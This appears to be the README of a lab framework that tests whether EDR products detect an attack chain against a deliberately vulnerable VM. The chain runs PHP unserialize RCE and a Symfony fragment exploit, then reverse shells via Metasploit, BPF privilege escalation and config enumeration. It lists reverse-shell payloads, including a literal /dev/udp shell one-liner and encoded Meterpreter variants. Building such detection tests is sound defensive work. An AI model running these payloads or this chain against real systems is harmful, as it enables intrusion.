iExploit

Framework to test exploitation

Approach

We want to see if mildly sophisticated hacker hacks the shop and then goes on the gain more access, make changes and extract data: how robustly will she be detected.

• We use our own stack with issues we know did/could happen
• We use tool and techniques that attackers known to use
• With bypasses and obfuscations that are readily available on github
• In different versions so we can have a reasonable sample size

To create virtual machine to attack

To create the vulnerable container:

./init_vm.h

It will:

• Apply Monterey hotfix is you are running MacOS Monterey
• Provision the VM
• Create a snapshot under the name vulnerbox

If you are running MacOS Monterey and having a problem starting vagrant up then execute ./monterey_hotfix.sh, which will manually load the kernel modules required by VirtualBox.

The init script will
First time around you create the vulnerable VM by running vagrant up --provision. The machine will listen on port 80 (php7.4-fpm) and vagrant is forwarding the port to the vagrant host (your machine) to port 8088.

The machine has 2 vulnerablities:

• /unserlialize.php is vulnerable. RCE is possible with PHP unserialize.
• /_fragment is vulnerable in Symfony 3.4. Request needs to be signed. Secret key is set IamImpossibleToHack. For further details, visit this link

You can test the service on localhost:

• http://localhost:8088/unserialize.php should output Done.
• http://localhost:8088/_fragment should result in 403 error.

Build docker containers to run the Test

There are 2 containers:

• Upload server, which hosts the payload if it is delivered by wget
• Metasploit container, which serves as a handler for reverse shell and also runs exploit_linux.py, to create the payload, upload it or deliver it inline and contlor Metasploit through scripting.

Upload server

Simple python host, to receive and provide the payload. Build it by running:

cd upload_server
./docker-build.sh 

Metasploit

Metasploit Framework for handling reverse shell and running the following attacks:

• post/multi/recon/local_exploit_suggester
• exploit/linux/local/bpf_sign_extension_priv_esc
• post/linux/gather/enum_configs

So the steps are

1. Deliver payload
2. Open reverse shell to MSF
3. Run the exploit suggester, which should find privilege escalation (BPF)
4. Run the privesc exploit
5. Enumarate some config files as root

To build:

cd .. # cd into main dir of project
 ./docker-build.sh

Finally, you do not have to create the network as the main script will do so, but there is a docker network that will be used by the system:

docker network create edrtest

Infrastructure

• Vagrant guest is forwarding port 80 to vagrant host 8088
• docker run script contains --add-host=host.docker.internal:host-gateway to apply the docker gateway in the msf container. This way msf can reach the vulnerable box on http://host.docker.internal:8088

Vulnerable box:

• is running debian/[email protected], which has a vulnerable kernel for privilege escalation (bpf).
• Uses php7.4
• unserialize.php is unserializing unsafe_cookie is a way that makes RCE possible through object injection, with GuzzleHttp/[email protected] and GuzzleHttp/[email protected].
• Symfony 3.4 is vulnerable for the above mentioned fragment exploit.

Run tests by:

./run-tests.sh

Configuration

The system reads payload, delivery methods, MSF handlers from configuration files, so it is possible to tailor it to your needs, if the tests supplied are not sufficient.

There are 26 different attack combination of the following:

Payloads Payloads are configured in config/msf_payloads.yaml. Each payload should be a runnable that prints it out. Make sure that the name of the payload is unique and the value itself is defined by >-.

• MSVenom cmd/unix/reverse_bash (raw)
• MSVenom linux/x86/shell_reverse_tcp (elf)
• sh -i >& /dev/udp/10.0.0.1/4242 0>&1
• Reverse shell - elf executed in python
• Meterpreter reverse shell
• Meterpreter reverse shell with Shikata Ga Nai Encoder
• Meterpreter reverse shell with Shikata Ga Nai Encoder (17 times)

Delivery
In config/settings.yaml under test_defaults/deliver you can change between the unserialization and Symfony fragments exploit. In our tests we did not find they made a difference, but as EDR tools will evolve on Linux, they actually might make a difference.

Payload loaders
They are defined in config/payload_command_loaders.yaml. There are a number of them. They not all make sense for all of the payloads. Naturally one loader may only load specific payloads. This files lists all the available loaders. Each version has a variation for base54 encoded payloads as well.

Handlers
MSF handlers defined in config/handlers.yaml:

• meterpreter
• reverse tcp
• reverse shell

Other handlers
Rest of the handlers are defined in config/escalation.yaml from privilege escalation and config/recon.yaml for reconnaissance. There is 1 configured option for each, but it is possible to add any other if you want to test with more.

How it all comes together
config/tests.yaml defines the available combinations. As mentioned above not all payloads will work with all loaders, handlers, etc. So in the config file it is defined what the payload is, whether it should be delivered base encoded and which loader(s) should be used.

Settings
config/settings.yaml defines how the test are executed. Under test_defaults the default values are defined for each test. If a value is not given for a test in tests.yaml, these default values are used.
url, payload_host, payload_port can be used if the test MSF handler is used outside on an exernal server (url) and/or if you want to use a socket server like termbin.com. If this is the case, the necessary adjustment has to be made in exploit_linux.py.

Under tests, you have 2 options:

• add the keyword all as a single string to indicate that all tests in tests.yaml should be run
• list the name of the payload and the loader in an array, in which case only those tests will run.

Plug in an EDR agent

There are examples for 3 EDR solutions:

• SentinalOne
• Microsoft Defender
• CloudStrike Falcon

To activate any of this:

• uncomment the respective lines in Vagrantfile
• For SentinalOne
  1. Into the s1 folder download the current SentinalOne agent for Debian.
  2. In the s1 folder, create a s1.key file with your key (it will not be committed)
  3. Adjust the values in s1.sh
• For Microsoft Defender
  1. Into the mde folder download the current Microsoft Defender Onboarding python script.
  2. Adjust the values in mde.sh
• For Cloudstrike:
  1. Into the falcon folder download the current falcon sensor for Debian.
  2. In the falcon folder, create a cloudstrike.key file with your key (it will not be committed)
  3. Adjust the values in falcon.sh

After you bring the vulnerable VM up, it may take a little while to show up on the EDR Web UI.

In the image definition, the build time is baked into the hostname:

config.vm.provision "shell", inline: "hostnamectl set-hostname \"edr-stretch-$(date '+%F-%H-%M-%S').localdomain\""
config.vm.provision "shell", inline: "sed -i \"s/edr\\-stretch\\-[[:digit:]]\\{4\\}\\-[[:digit:]]\\{2\\}\\-[[:digit:]]\\{2\\}\\-[[:digit:]]\\{2\\}\\-[[:digit:]]\\{2\\}\\-[[:digit:]]\\{2\\}\\.localdomain/$(hostname)/g\" /etc/hosts"